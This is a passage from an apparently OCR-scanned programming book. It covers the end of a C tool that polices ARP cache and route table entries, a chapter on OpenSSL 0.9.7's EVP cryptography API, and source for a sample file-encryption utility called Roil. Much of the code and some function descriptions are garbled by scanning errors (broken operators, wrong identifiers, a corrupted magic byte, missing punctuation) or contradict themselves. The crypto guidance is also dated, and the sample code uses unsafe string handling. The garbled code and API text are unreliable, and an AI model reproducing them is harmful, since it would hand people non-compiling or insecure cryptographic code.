             memcpy(&p->gw, a2, sizeof (struct addr));
             p->next = NULL;
                  }
                  return (1);
              }
              default:
              {
                  return (-1);
              }
           }
           return (-1);
        }

        int
        check_arp_cache(const struct arp_entry *ae, void *cp)
        {
             struct clutch_pack *p;
             struct clutch_arp_entry *cae;
             const struct addr *pa;
             const struct addr *ha;

             p = (struct clutch_pack *)cp;
             pa = &ae->arp_pa;
             ha = &ae->arp_ha;

             /* run through the ARP cache rules */
             for (cae = (struct clutch_arp_entry *)p->cae; cae; cae = cae->next)
             {
                  /* look for a hardware address match in the ARP cache */
                  if (addr_cmp(ha, &cae->mac) == 0)
                  {
                      /* does it match our rule? */
                      if (addr_cmp(pa, &cae->ip) ! = 0)
                      {
                          printf("[%s ARP cache rule violation: %s -> %s] \n",
                              get_time(), addr_ntoa(ha), addr_ntoa(pa));
                          if ( (p->flags) & VERBOSE)
                          {
                                printf("[entry should be: %s -> %s]\n",
                                     addr_ntoa(&cae->mac), addr_ntoa(&cae->ip));
                          }



                          if ((p-> flags) & ENFORCE)
                          {
                               /* reset the entry back to what it should be */
                               if (arp_delete(p-> a, ae) == -1)
                               {
                                   fprintf(stderr, "[can't reset ARP entry]\n");
                               }
                               else
                               {
                                   /* setup new ARP entry */
                                   struct arp_entry new_ae;
                                   memcpy (&new_ae.arp_pa, &cae->ip,
                                           sizeof (struct addr));
                                   memcpy (&new_ae.arp_ha, &cae->mac,
                                           sizeof (struct addr));
                                   printf("[bogus ARP cache entry deleted]\n");
                                   if (arp_add(p->a, &new_ae) == -1)
                                   {
                                       fprintf(stderr, "[can't reset ARP entry]\n");
                                   }
                                   else
                                   {
                                      printf("[correct ARP cache entry restred]\n");
                                   }
                            }
                     }
              }
        }
   }
   return (0);
}

int
check_route_table(const struct route_entry *re, void *cp)
{
        struct clutch_pack *p;
        struct clutch_route_entry *cre;
        const struct addr *dst;
        const struct addr *gw;

        p = (struct clutch_pack *)cp;
        dst = &re->route_dst;
        gw = &re->route_gw;

        /* run through the route table rules */
        for (cre = (struct clutch_route_entry *)p->cre; cre; cre = cre->next)
        {
             /* look for a destination IP match in the route table */
             if (addr_cmp(dst, &cre->ip) == 0)
             {
                  /* does it match our rule? */
                  if (addr_cmp(gw, &cre->gw) ! = 0)



                  {
                      printf("[%s route table rule violation: %s ->%s]\n",
                          get_time(), addr_ntoa(dst), addr_ntoa(gw));
                      if ((p-> flags) & VERBOSE)
                      {
                          printf("[entry should be: %s -> %s]\n",
                          addr_ntoa(&cre->ip), addr_ntoa(&cre->gw));
                      }
                      if ((p->flags) & ENFORCE)
                      {
                          /* reset the entry back to what it should be */
                          if (route_delete(p->r, re) == -1)
                          {
                             fprintf(stderr, "[can't reset route entry]\n");
                          }
                          else
                          {
                             /* setup new route entry */
                             struct route_entry new_re;
                             memcpy (&new_re.route_dst, &cre->ip,
                                     sizeof (struct addr));
                             memcpy (&new_re.route_gw, &cre->gw,
                                     sizeof (struct addr));
                             printf ("[bogus route table entry deleted]\n");
                             if (route_add(p->r, &new_re) == -1)
                             {
                                 fprintf(stderr, "[can't reset rte
entry]\n");
                             }
                             else
                             {
                                 printf(
                                   "[correct route table entry
restored]\n");
                             }
                      }
               }
        }
   }
   return ( 0 );
}

char *
get_time()
{
    int i ;
    time_t t;
    static char buf[26];

    t = time((time_t *)NULL);
    strcpy(buf, ctime(&t));



    /* cut out the day, year and \n */
    for (i = 0; i < 20; i++)
    {
      buf[i]= buf[i + 4];
    }
    buf[15]= 0;

    return (buf);

}

void
usage(char *name)
{
   fprintf(stderr, "usage: %s [options] -c config_file:\n"
                   "-c filename\tconfiguration file\n"
                   "-e\t\tenforce rules rather than just warn\n"
                   "-h\t\tthis jonk here\n"
                   "-s\t\tsleep interval in seconds\n"
                   "-v\t\tbe more verbose\n", name);
}
/* EOF */

 



 

Chapter 7: The OpenSSL Library

Overview

URL: http://www.openssl.org

Primary authors: Various;originally Eric Young and Tim Hudson

Component type: C language library, cryptography toolkit including SSL and TLS

License: OpenSSL, SSLeay

Version profiled: 0.9.7

Dependencies: None

The OpenSSL Project is a collaborative effort to develop a robust, commercial-grade, fully featured, and
Open-Source toolkit implementing the Secure Sockets Layer (SSL) and Transport Layer Security (TLS)
protocols as well as a full-strength, general-purpose cryptography (crypto) library. A worldwide community of
volunteers that use the Internet to communicate, plan, and develop the OpenSSL toolkit and its related
documentation manage the project. OpenSSL's functionality breaks down into two libraries: the SSL/TLS
library (libssl.a) and the crypto library (libcrypto.a).

Developers most often use the SSL/TLS library, implementing versions 2 and 3 of SSL and version 1 of TLS,
to build secure Web transactions via the https protocol. OpenSSL provides a wide range of functionality,
including the following:

SSL/TLS protocols

Symmetric cryptographic operations (ciphers, message digests)

Asymmetric cryptographic operations (digital signatures, enveloping)

Public Key Infrastructure (PKI), including OCSP, rich X509 certificate support, certificate verification,
certificate requests, and CRLs

Due to the overwhelming size of scope of the SSL/TLS library (more than 200 exported functions), this
chapter only focuses on the EVP interface of the crypto library. The crypto library is itself large and includes
support for ASN.l, PRNG, big numbers, elliptical curves, and more—none of which we will cover in depth
here.

The crypto library is extremely useful for building cryptography into applications, and mainstay tools such as
ssh, sshd, and isakmpd use it. It offers a wide array of cryptographic functionality in the following key areas:

Symmetric ciphers via the EVP_Cipher () interface

Asymmetric ciphers via the EVP_Seal () and EVP_Open () interfaces

Authentication and hashing via the EVP_Digest() interface

Digital signatures via the EVP_Sign () and EVP_Verify () interfaces

Table 7.1 summarizes the supported algorithms that the crypto library supports.

http://www.openssl.org


Table 7.1: OpenSSL crypto Library Supported Algorithms

SYMMETRIC CIPHERS ASYMMETRIC CIPHERS MESSAGE DIGESTS

Blowfish DSA HMAC

CAST DH MD2

DES RSA MD4

IDEA   MD5

RC2   MPC2

RC4   RIPEMD

RC5   SHA

    SHA1

Note It is important to note that OpenSSL implements strong cryptography and is therefore subject to
import and export restrictions in certain parts of the world, such as those specified by the
International Traffic in Aims Regulations (ITAR) restrictions in the United States.

 



 

Installation Notes

Installation of the library on a Unix-based system is straightforward:

 tradecraft:/usr/local/src/openss1-0.9.7# ./config; make; make install

Note that by default, the library installs everything to / usr/ local/ ssl.

 



 

The EVP Interface

In order to make programming with cryptographic functions easier, OpenSSL employs a high-level API called
EVP. EVP enables the application programmer to ignore algorithm specific details and write high-level code
that works even if the underlying algorithm changes. For example, an application programmer writes a
program to encrypt data by using CAST with a 256-bit key. Due to export restrictions, however, he or she
must employ DBS with a 64-bit key. EVP enables this process to happen seamlessly with little, if any,
retooling. EVP achieves this task by operating as a dispatch layer for function invocations. When a
cryptographic operation begins, the application programmer normally passes two structures to the function
call:

An EVP context. The context is an operation-specific data structure that externalizes and maintains state
between function calls. For instance, a cipher context contains the initialization vector for a given
algorithm.

An algorithm specifier. This structure encapsulates the algorithm that the EVP function will use. This
structure provides basic information (such as block size and key length) and a set of function pointers to
the actual cryptographic functions to be invoked.

As you can see, each individual EVP call is effectively stateless. State is externalized into the context, which
has two key advantages:

Thread safety, which OpenSSL does not intrinsically support, is easier to build in because EVP does not
contend over many shared resources.

The application programmer might change the algorithm (from CAST to DES in the earlier example) by
changing the cipher specifier passed to thecryptographic function.

You generally employ EVP by using a three-step process:

Initialization: Functions named EVP_.*_lnit[_ex] indicate to OpenSSL that a cryptographic

operation is about to start. They enable the application programmer to specify a context, algorithm,
and other initialization parameters.

1.

Updating: Functions named EVP_.*_Update provide data to an algorithm, often in an iterative

process.

2.

Finalization: Functions named EVP_.*_Final_ [ex] finish a particular operation and release any

transient resources associated with the context.

3.

This pattern enables the application programmer to read input data in chunks, performing operations over
large data sets without having to have all the data in memory at any one time.

Engines

An OpenSSL engine is an implementation of a particular set of algorithms that —depending on the
architecture and available hardware—can be either completely software based or consist of a driver code for
dedicated cryptographic hardware. The engine interface was written to enable OpenSSL to take full
advantage of special-purpose cryptographic hardware. Using the EVP interface, an applications programmer
can either specify an engine on a case-by-case basis as an argument to the initialization function or enable
OpenSSL to use a default engine for the appropriate operation.

 



 

Native Datatypes

OpenSSL's envelope interface specifies several native datatypes that the application programmer needs to
know about:

 ENGINE

ENGINE is a typedef from the engine_st structure, which is where OpenSSL stores various
implementations of cryptographic algorithms and functions. ENGINE is actually a linked list of structures.

 EVP_CIPHER_CTX

EVP_CIPHER_CTX is a typedef from the evp_cipher_ctx_st structure that is the main monolithic context

control structure for all symmetric algorithms. It keeps track of the high-level EVP interface details, such as
engine type, whether the context is encrypting or decrypting, and other ancillary data. EVP_CIPHER_CTX
contains an EVP_CIPHER structure pointer.

 EVP_CIPHER

EVP_CIPHER is a typedef from the evp_cipher_st structure that is the minor EVP symmetric algorithm

structure. It contains all the algorithm-specific metadata, such as the initialization, encryption and decryption,
and cleanup functions for the given algorithm.

 EVP_PKEY

EVP_PKEY is a typedef from the evp_pkey_st structure that is the public key information structure

containing RSA, DSA, or DH information and associated metadata.

 EVP_MD_CTX

EVP_MD_CTX is a typedef fromjhe evp_md_ctx_st structure that is the main monolithic context control

structure for all message digest algorithms. It keeps track of the high-level EVP interface details, such as
engine type and control flags. EVP_MD_CTX contains an EVP_MD structure pointer.



 EVP_MD

EVP_MD is a typedef from the evp_md_st structure that is the minor EVP message digest algorithm

structure. It contains all of the algorithm-specific metadata, such as the initialization, digest, and cleanup
functions for the given algorithm. It also contains digital signature functions.

 



 

Top-level Functions

The following top-level framework functions provide generic initialization and cleanup necessary to implement
cryptographic functionality in OpenSSL.

 void OpenSSL_add_all_ciphers ();

OpenSSL_add_all_ciphers () loads all of the symmetric encryption algorithms that OpenSSL was

compiled with into the global object hashtable.

 void OpenSSL_add_all_digests();

OpenSSL_add_all_digests () loads all of the message digest algorithms that OpenSSL was compiled

with into the global object hashtable.

 void OpenSSL_add_all_algorithms();

OpenSSL_add_all_algorithms () is a simple wrapper to both of these functions, loading all symmetric

encryption and message digest algorithms that OpenSSL was compiled with into the global object hashtable.

 void EVP_cleanup();

EVP_cleanup () clears the state for any existing symmetric or message digest algorithms and clears out

the object hashtable.

 



 

Symmetric Functions and Macros

The symmetric EVP functions encrypt and decrypt arbitrary data by using any of the algorithms in Table 7.1
with which OpenSSL was compiled.

 void EVP_CIPHER_CTX_init(EVP_CIPHER_CTX *ctx);

EVP_ClPHER_CTX_init () initializes a symmetric cipher context ctx for use by filling it with zero. You must

call this function prior to any other function that modifies ctx.

 const EVP_CIPHER *EVP_get_cipherbyname(const char *name);

EVP_get_cipherbyname () returns a pointer to a cipher type corresponding to the canonical name of the
algorithm name (such as "cast" for the CAST algorithm). Upon success, the function returns a pointer to the

cipher structure; upon failure (name is not a supported algorithm), the function returns NULL.

 int EVP_CipherInit_ex(EVP_CIPHER_CTX *ctx, const EVP_CIPHER
 *type, ENGINE *impl, unsigned char *key, unsigned char *iv,
 int enc);

EVP_CipherInit_ex () initializes an encryption context ctx by using the cipher type from engine impl
with the symmetric key key and initialization vector iv.ctx should be previously initialized by a call to
EVP_CIPHER_CTX_init () while type should have been acquired from a previous call to
EVP_getcipherbyname (). If impl is NULL, the default software implementation is used. If enc is positive
and non-zero, the function sets up an encryption context; if enc is 0, the function sets up a decryption context.
If enc is - 1, the function leaves the context unchanged, assuming that it was set up in a previous call. While
you can omit key and iv and specify them later in the encryption process, it is good form to specify them
here at initialization. Upon success, the function returns 1; upon failure, the function returns 0.

 int EVP_CipherUpdate(EVP_CIPHER_CTX *ctx, unsigned char *out,
 int *outl, unsigned char *in, int inl);

EVP_CipherUpdate () performs encryption or decryption for the context referenced by ctx. Depending
on how ctx was initialized, the function either encrypts or decrypts inl bytes of data from in and writes
them to out, storing the number of bytes written in outl. This function is generally called repeatedly in a loop

on the input data block until the end is reached. If, at the end of the encryption or decryption process, data is
left that is not a multiple of the block size, you should call EVP_CipherFinal_ex (). Upon success, the
function returns 1; upon failure, the function returns 0.



 int EVP_CipherFinal_ex(EVP_CIPHER_CTX *ctx, unsigned char
 *out, int *outl);

EVP_CipherFinal_ex() finalizes the encryption or decryption process for the context referenced by ctx.
If padding is enabled for ctx (which it is by default), the function encrypts or decrypts the remaining bytes of

data, padding to a multiple of the block size if necessary (using normal PCKS padding rules)-writing them to
out and writing the number of bytes written to outl. If padding is disabled via a call to
EVP_CIPHER_CTX_set_padding (), the function will not process any more data and will return an error if

any data remains in a partial block (assuming the partial data is not a multiple of the block size). After you call
the function, the encryption or decryption process is considered "finished" (you should not make any other
calls to EVP_CipherUpdate ()). Upon success, the function returns 1; upon failure, the function returns 0.

 int EVP_CIPHER_CTX_cleanup(EVP_CIPHER_CTX *ctx);

EVP_CIPHER_CTX_cleanup () destroys all structures and cleans up all memory including sensitive data)
associated with ctx. This function is always called inside EVP_CipherFinal_ex () to implicitly cleanup

upon finalizing. As such, the function only needs to be called in the event of an unrecoverable error being
detected (for instance, EVP_CipherUpdate () failed) and the cipher operation needs to be terminated
before EVP_CipherFinal_ex () can be called. Upon success, the function returns 1; upon failure, the
function returns 0.

 int EVP_CIPHER_CTX_set_padding(EVP_CIPHER_CTX *ctx, int
 padding);

EVP_CIPHER_CTX_set_padding () enables block padding for ctx if the padding is 1 and disables block
padding for ctx if padding is 0. The function always returns 1.

 int EVP_CIPHER_CTX_set_key_length(EVP_CIPHER_CTX *x, int
 keylen);

EVP_CIPHER_CTX_set_key_length() sets the key length keylen for the algorithm that ctx references.

If the algorithm utilizes a fixed-length key, setting the keylen to any value other than the fixed length will result
in an error. Upon success, the function returns 1; upon failure, the function returns 0.

 EVP_CIPHER_CTX_cipher(ctx);

EVP_CIPHER_CTX_cipher () is a macro that returns the EVP_CIPHER structure from ctx.

 EVP_CIPHER_CTX_block_size(ctx) ;



EVP_ClPHER_CTX_blocksize is a macro that returns the block size from ctx.

 EVP_CIPHER_CTX_key_length(ctx);

EVP_CIPHER_CTX_key-length is a macro that returns the key length from ctx.

 EVP_CIPHER_CTX_iv_length(ctx);

EVP_CIPHER_CTX_iv_length is a macro that returns the initialization vector length from ctx.

 EVP_CIPHER__CTX_get_app_data(ctx);

EVP_CIPHER_CTX_get_app_data is a macro that returns the application data field from ctx.

 EVP_CIPHER_CTX_set_app_data(ctx, data);

EVP_CIPHER_CTX_set_app_data is a macro that sets the application data field (a void *) in ctx to data.

 EVP_CIPHER_CTX_flags(ctx);

EVP_CIPHER_CTX_flags is a macro that returns the control flags set for ctx.

 EVP_CIPHER_CTX_mode(ctx);

EVP_CIPHER_CTX_mode is a macro that returns the mode for ctx, which will be one of the following:
EVP_CIPH_ECB_MODE, EVP_ CIPH_CBC_MODE, EVP_CIPH_CFB_MODE, EVP_CIPH_OFB_MODE,
EVP_CIPH_STREAM_CIPHER.

 



 

Asymmetric Functions

The asymmetric EVP functions generate and manage random session keys to use for symmetric encryption
and decryption by using any of the algorithms in Table 7.1 from which OpenSSL was compiled.

 int EVP_SealInit(EVP_CIPHER_CTX *ctx, EVP_CIPHER *type,
 unsigned char **ek, int *ekl, unsigned char *iv, EVP_PKEY
 **pubk, int npubk);

EVP_SealInit () initializes a cipher context ctx for encryption. The function uses the cipher type with the
initialization vector iv. You should previously initialize ctx by a call to EVP_CIPHER_CTX_init (), while
type should have been acquired from a previous call to EVP_getcipherbyname (). The secret key, which
is stored in ek, is encrypted by using npubk public keys stored in pubk (which enables the same encrypted
data to be decrypted by using any of the corresponding private keys), ek is an array of buffers where the

public key encrypted secret key is written; each buffer must contain enough room for the corresponding
encrypted key. ek[i] must have room for EVP_PKEY_size (pubk [i]) bytes. The actual size of each
encrypted secret key is written to ekl[i]. Upon success, the function returns 1; upon failure, the function
returns 0.

Note Because a random secret key is generated, the random number generator must be seeded by
using rand_seed () before calling EVP_Sealir.it (). We do not cover this interface

documentation in this book, but it is available wherever OpenSSL is sold.

At this writing, the public key must be RSA because it is the only OpenSSL public key algorithm that
supports key transport.

 int EVP_SealUpdate(EVP_CIPHER_CTX *ctx, unsigned char *out,
 int *outl, unsigned char *in, int inl);

EVP_SealUpdate () is functionally identical to the encryption mode of EVP_CipherUpdate_ex() with a
software implementation. The function uses a randomly generated symmetric key ek[n] generated with a
previous call to EVP_Seallnit (). Upon success, the function returns 1; upon failure, the function returns
0.

 int EVP_SealFinal(EVP_CIPHER_CTX *ctx, unsigned char *out, 
 int *outl);

EVP_SealFinal () is functionally identical to the encryption mode of EVP_CipherFinal () with a
software implementation. Upon success, the function returns 1; upon failure, the function returns 0.



 int EVP_OpenInit(EVP_CIPHER_CTX *ctx, EVP_CIPHER *type,
 unsigned char *ek, int ekl, unsigned char *iv, EVF_PKEY
 *priv);

EVP_Openlnit () initializes a cipher context ctx for decryption. The function uses the cipher type with the
initialization vector iv. You should have previously initialized ctx by a call to EVP_CIPHER_CTX_init (),
while type should have been retrieved from a previous call to EVP_getelpher-byname (). The function
decrypts the encrypted secret key ek of length ekl bytes by using the private key priv. Upon success, the
function returns 1; upon failure, the function returns 0.

 int EVP_OpenUJ date(EVP_CIPHER_CTX *ctx, unsigned char *out,
 int *out1, unsigned char *in, int in1);

EVP_OpenUpdate () is functionally identical to the decryption mode of EVP_CipherUpdate_ex () with
a software implementation. Upon success, the function returns 1; upon failure, the function returns 0.

 int EVP_OpenFinal(EVP_CIPHER_CTX *ctx, unsigned char *out,
 int *outl);

EVP_OpenFinal () is functionally identical to the encryption mode of EVP_CipherFinal () with a
software implementation. Upon success, the function returns 1; upon failure, the function returns 0.

 



 

Message Digest Functions and Macros

The message digest EVP functions hash arbitrary data by using any of the algorithms from Table 7.1 with
which OpenSSL was compiled.

 void EVP_MD_CTX_init(EVP_MD_CTX *ctx);

EVP_MD_CTX_init () initializes a message digest context ctx for use by filling it with zero. This function
must be called prior to any other function that modifies ctx.

 const EVP_MD *EVP_get_digestbyname(const char *name);

EVP_get_digestbyname() returns a pointer to a message digest type corresponding to the canonical

name of the algorithm name. Upon success, the function returns a pointer to the message digest structure;
upon failure (name is not a supported algorithm), the function returns NULL.

 int EVP_DigestInit_ex (EVP_MD_CTX *ctx, const EVP_MD *type,
 ENGINE *impl);

The EVP_Digest_Init () initializes message digest context ctx for hashing by using the digest type from
the engine that impl specifies. You should have previously initialed ctx with a call to EVP_MD_CTX_init ()
while acquiring type from a previous call to EVP_getdigestbyname(). If impl is NULL, you use the default
software implementation. Upon success, the function returns 1; upon failure, the function returns 0.

 int EVP_DigestUpdate (EVP_MD_CTX *ctx, const void *d, unsigned
 int cnt);

EVP_DigestUpdate () performs the hashing for the context that ctx references.! function hashes cnt
bytes of data to which d points. This function is often called repeatedly in a loop. Upon success, the function
returns 1; upon failure, the function returns 0.

 int EVP_DigestFinal_ex(EVP_MD_CTX *ctx, unsigned char *md,
 unsigned int *ctx);

EVP_DigestFinal_ex() retrieves the digest value from ctx and writes it to md and writes the length of the



digest to s. Upon success, the function returns 1; upon failure, the function returns 0.

 int EVP_MD_CTX_cleanup(EVP_MD_CTX *ctx);

EVP_MD_CTX_cleanup () destroys all structures and cleans up all memory (including sensitive data)
associated with ctx. You always call this function inside EVP_cipherFinal_ex () to implicitly clean up

upon finalizing. As such, you only need to call the function in the event of an unrecoverable error being
detected (for instance, EVP.DigestUpdate () failed), and you need to terminate the cipher operation
before you can call EVP_DigestFinal_ ex (). Upon success, the function returns 1; upon failure, the
function returns 0.

 EVP_MD_CTX_md (ctx);

EVP_MD_CTX_md () is a macro that returns the EVP_MD structure from ctx.

 EVP_MD_CTX_size(ctx);

EVP_MD__CTX_md () is a macro that returns the size of the hash from ctx.

 EVP_MD_CTX_block_size(ctx);

EVP_MD_CTX_md () is a macro that returns the block size from ctx.

 



 

Digital Signature Functions

The digital signature EVP functions digitally sign arbitrary data by using any of the algorithms with which
OpenSSL was compiled (see Table 7.1).

 void EVP_SignInit_ex(EVP_MD_CTX *ctx, const EVP_MD *type,
 ENGINE *impl);

EVP_SignInit_ex() is a typedef from the EVP_DigestInit_ex() function and performs identically.
Upon success, the function returns 1; upon failure, the function returns 0.

 int EVP_SignUpdate(EVP_MD_CTX *ctx, const void *d, unsigned
 int cnt);

EVP_SignUpdate () is a typedef from the EVP_DigestUpdate () function and performs identically.
Upon success, the function returns 1; upon failure, the function returns 0.

 int EVP_SignFinal (EVP_MD_CTX *ctx, unsigned char *sig,
 unsigned int *siglen, EVP_PKEY *pkey);

EVP_SignFinal () signs the data in ctx by using the private key pkey and places the resulting digital
signature in sig.siglen contains the number of bytes written. Upon success, the function returns 1; upon
failure, the function returns 0.

 int EVP_PKEY_size(EVP_PKEY *pkey);

EVP_PKEY_size () returns the maximum size that a digital signature using pkey could be in bytes. The
actual signature returned by EVP_SignFinal () might be smaller. Upon success, the function returns 1;
upon failure, the function returns 0.

 int EVP_VerifyInit_ex(EVP_MD_CTX *ctx, const EVP_MD *type,
 ENGINE *impl);

EVP_VerifyInit_ex () is a typedef from the EVP_DigestInit_ex () function and performs
identically. Upon success, the function returns 1; upon failure, the function returns 0.



 int EVP_VerifytJJ date(EVP_MD_CTX *ctx, const void *d, unsigned
 int cnt);

EVP_VerifyUpdate() is a typedef from the EVP_DigestUpdate () function and performs identically.
Upon success, the function returns 1; upon failure, the function returns 0.

 int EVP_yerifyFinal{EVP_MD_CTX *ctx, unsigned char *sigbuf,
 unsigned int siglen, EVP_PKEY *pkey);

EVP_VerifyFinal () verifies siglen bytes of data in sigbuf by using the context ctx with the public
key pkey. Upon success, the function returns 1; upon failure, the function returns 0.

 



 

Sample Program–Roil

The following small program illustrates some of the basic functionalities provided in the OpenSSL crypto
library. Roil is a small tool that provides strong encryption and file integrity via message digesting (hashing).
Roil is written to support all of the encryption and message digest algorithms with which the version of
OpenSSL was linked against (see Table 7.1). Invoked with the -h switch or with no arguments, Roil dumps its
usage as such:

  tradecraft: # ./roil
  Roil 1.0 [little encryption tool]
  usage ./roil [options] file
  -e cipher_type encrypt
  -d decrypt
  -h this blurb you see right here
  -m message_digest message digest

The -e option tells Roil to encrypt a file by using the supplied encryption algorithm. The -d option decrypts a
file previously encrypted with Roil (which Roil attempts to verify). The -m option performs a message digest

on a file by using the supplied algorithm. The following is a 5MB sample file that we will use in following
examples:

  tradecraft:~# Is -1 blackbook
  -rw-------  1 route    route     5531948 Apr 10 22:20 blackbook

  tradecraft:/home/route/Code/Bookcode/Roil# file blackbook
  blackbook: ASCII text

A sample invocation of Roil to hash the file using the SHA-1 Secure Hashing Algorithm is as follows:

  tradecraft:~# ./roil -m SHA1 blackbook
  Roil 1.0 [little encryption tool]
  SHA1 message digest of blackbook: 0417dbbcffd33e9fcef82b1cc7f7ab50556310a7

Obviously, this code is pretty standard. Another invocation of Roil, this time to encrypt the file by using the
CAST algorithm (named for its inventors Carlisle Adams and Stafford Tavares), is as follows:

  tradecraft: ~# ./roil -e CAST blackbook
  Roil 1.0 [little encryption tool]

  Passphrase: <please keep my data safe>

  Again: <please keep my data safe>
  encrypting file "blackbook"
  byte: 0x0054692c done, output file is "blackbook.roil"

The byte counter indicates that Roil encrypted all 5,531,948 bytes of data (this value actually updates in real
time as the program reads chunks of data and processes them) and then wrote the output to



blackbook.roi1. We then take a closer look at the file and notice that it has indeed been encrypted (as

advertised) and that the first 8 bytes correspond to the magic number Roil writes out to every file it encrypts.
This magic number enables a subsequent invocation of Roil to quickly determine whether the file was
encrypted by a previous invocation:

  tradecraft: ~# Is -1 blackbook.roil
  -rw-------  1 route    route     5531984 Apr 10 22:28 blackbook.roil

  tradecraft:/home/route/Code/Bookcode/Roilt
  file blackbook.roil blackbook.roil: data

  tradecraft: ~# hexdump -n 8 blackbook.roil
  0000000 010f 0d02 eeff 43f1
  0000008

Looking at the following 16 bytes, we will find the canonical name of the encryption algorithm that Roil used to
encrypt the file (NULL padded to 16 bytes):

  tradecraft: ~# hexdump -s 8 -c -n 16 blackbook.roil
  0000008  C  A  S  T \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0
  0000018

Hey, cool. It is CAST. This process gives Roil a convenient way to figure out which algorithm encrypted the file
so that it does not have to prompt the user. Let's decrypt the file:

  tradecraft: ~# ./roil -d blackbook
  Roil 1.0 [little encryption tool]
  roil_cipher(): blackbook is not a roiled file

We specified the wrong filename. It is a good thing that Roil is smarter than we are. Let's try again:

  tradecraft: ~# ./roil -d blackbook.roil
  Roil 1.0 [little encryption tool]

  Passphrase:<please keep my data safe>

  Again:<please keep my data safe>
  decrypting CAST encrypted file "blackbook.roil"
  byte: 0x00546930
  done, output file is "blackbook"

The byte counter indicates that Roil decrypted 5,531,952 bytes of data (the last four bytes are padding) and
wrote the output to blackbook. We then take a closer look at our file:

  tradecraft:/home/route/Code/Bookcode/Roil# Is -1 blackbook
  -rw------- 1 root route 5531948 Apr 10 22:49 blackbook

  tradecraft:/home/route/Code/Bookcode/Roil# file blackbook



  blackbook: ASCII text

  tradecraft: ~# ./roil -m SHA1 blackbook
  Roil 1.0 [little encryption tool]
  SHA1 message digest of blackbook:
  0417dbbcffd33e9fcef82blcc7f7ab50556310a7

Elite. Roil did not mangle our file.

 



 

Sample Code–Roil

The following two source files comprise the Roil codebase. To preserve readability, we richly comment the code
but do not include any book-text inside the code. You can download the full source files from this book's
companion Web site at http://www.wiley.com/compbooks/schiffman .

roil.h

    /*
     * $Id: roil.h,v 1.1 2002/04/11 04:42:06 route Exp $
     *
     * Building Open Source Network Security Tools
     * roil.h - openssl example code
     *
     * Copyright (c) 2002 Mike D. Schiffman <mike@infonexus.com>
     * All rights reserved.
     *
     */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <errno.h>
    #include <fcntl.h>
    #include <unistd.h>
    #include <termios.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include "/usr/local/ssl/include/openssl/evp.h"

    #define KEY_LENGTH      0x100        /* max passphrase size */
    #define IV_LENGTH       0x008        /* IV length */
    #define RETRY_THRESHOLD 0x003        /* password retries */
    #define BUF_SIZE        0x100        /* 256 byte buffer */
    # define ERRBUF_SIZE    0x100        /* 256 byte buffer */
    /* magic file header number */
    u_char magic[]= {0x0f, 0x01, 0x02, 0x0d, 0xff, 0xee, 0xfl, 0x43};

    struct roil_pack
    {
       int fd_in;
       int fd_out;
       char fn_in[100];
       char fn_out[100];
       char passphrase[KEY_LENGTH];
       u_char flags;
    #define MD          0x01          /* Hash */
    #define MD_FROMFILE 0x02          /*Hash from a file */



    #define ENCRYPT     0x04          /* Encrypt */
    #define DECRYPT     0x08          /* Decrypt */
        char md[10];
        char ea[10];
        char errbuf[ERRBUF_SIZE];
    };
    struct roil_pack *roil_init(char *, u_char, char *, char *, char *);
    int open_outputfile(struct roil_pack *);
    void roil_destroy(struct roil_pack *);
    void roil(struct roil_pack *);
    u_char *roil_digest(struct roil_pack *, int *);
    int roil_cipher(struct roil_pack *);
    int get_passphrase(char *);
    int make_key(struct roil_pack *, u_char *);
    void get_iv(u_char *);
    void usage(char *);

    /* EOF */

roil.c

    /*
     * $Id: roil.c,v 1.1 2002/04/11 04:42:06 route Exp $
     *
     * Building Open Source Network Security Tools
     * roil.c - openssl example code
     *
     * Copyright (c) 2002 Mike D. Schiffman <mike@infonexus.com>
     * All rights reserved.
     *

     #include "./roil.h"

     int
     main(int argc, char **argv)
     {
        int c;
        u_char flags;
        char *md;
        char *ea;
        FILE *filename;
        char errbuf[256];
        struct roil_pack *rp;

        printf("Roil 1.0 [little encryption tool]\n");

        flags = 0;
        md = NULL;
        ea = NULL;
        filename = NULL;



        while ((c = getopt(argc, argv, "de:hm:")) != EOF)
        {
            switch (c)
            {
               case 'd':
                  flags |= DECRYPT;
                  break;
               case 'e':
                  ea = optarg;
                  flags |= ENCRYPT;
                  break;
               case 'h':
                  usage(argv[0]};
                  exit(EXIT_SUCCESS);
                  break;
               case 'm':
                  md = optarg;
                  flags |= MD;
                  break;
               default:
                  usage(argv[0]);
                  exit(EXIT_FAILURE);
         }
       }

       if (flags == 0 || (flags & ENCRYPT && flags & DECRYPT))
       {
          usage(argvf0]);
          exit(EXIT_FAILURE);
       }

       if (argc - optind !=1)
       {
          usage(argv[0]);
          exit(EXIT_FAILURE);
       }

       rp= roil_init(argv[optind], flags, md, ea, errbuf);
       if (rp==NULL)
       {
          fprintf(stderr, "roil_init(): %s n" errbuf);
          exit(EXIT_FAILURE)
       }

       roil(rp);
       roil_destroy(rp);

       return (EXIT_SUCCESS);
       }

       struct roil_pack *



       roil_init(char *filename, u_char flags, char *md, char *ea, char *errbuf)
       {
       struct roil_pack *rp;

       /* grab memory for our monolithic structure */
       rp= malloc(sizeof (struct roil_pack));
       if (rp==NULL)
       {
           sprintf(errbuf, strerror(errno));
           return (NULL);
       }

     /* open the input file */
     rp->fd_in= open(filename, 0_RDWR);
     if (rp->fd_in==-1)
     {
        sprintf(errbuf, "can't open input file \"%s" %s",
               filename, strerror(errno));
        roil_destroy(rp);
        return (NULL);
     }

     /* save the filename */
     strncpy(rp-> fn_in, filename, sizeof (rp->fn_in) - 1);

     rp->flags = flags;

     /* copy over the message digest name */
     if (md)
     {
        strncpy (rp->md, md, 10);
     }

     /* copy over the message digest name */
     if (ea)
     {
        strncpy(rp->ea, ea, 10);
     }
     return (rp);
     }

     void
     roil_destroy (struct roil_pack *rp
     {
        if (rp)
        {
           if (rp->fd_in)
           {
               close (rp->fd_in);
           }
           if (rp->fd_out)
           {



               close (rp->fd_out); }
           }
           free(rp);
           EVP_cleanup();
        }
     }
     int
     open_outputfile(struct roil_pack *rp)
     {
        int n;

        n= strlen(rp->fn_in);
        strcpy(rp->fn_out, rp->fn_in);

        if (rp->flags & ENCRYPT)
        {
           if (!(n + 4 100))
        {
              /* filename too long */
             sprintf(rp->errbuf, "open_outputfile(): filename too long n");
             return (-1);
        }
        strcpy(rp->fn_out + n, ".roil");
     }
     else
     {
        if (n < 4)
        {
            /* filename too short */
        sprintf(rp->errbuf,
               "open_outputfile(): filename too short n");
        return (-1);
        }
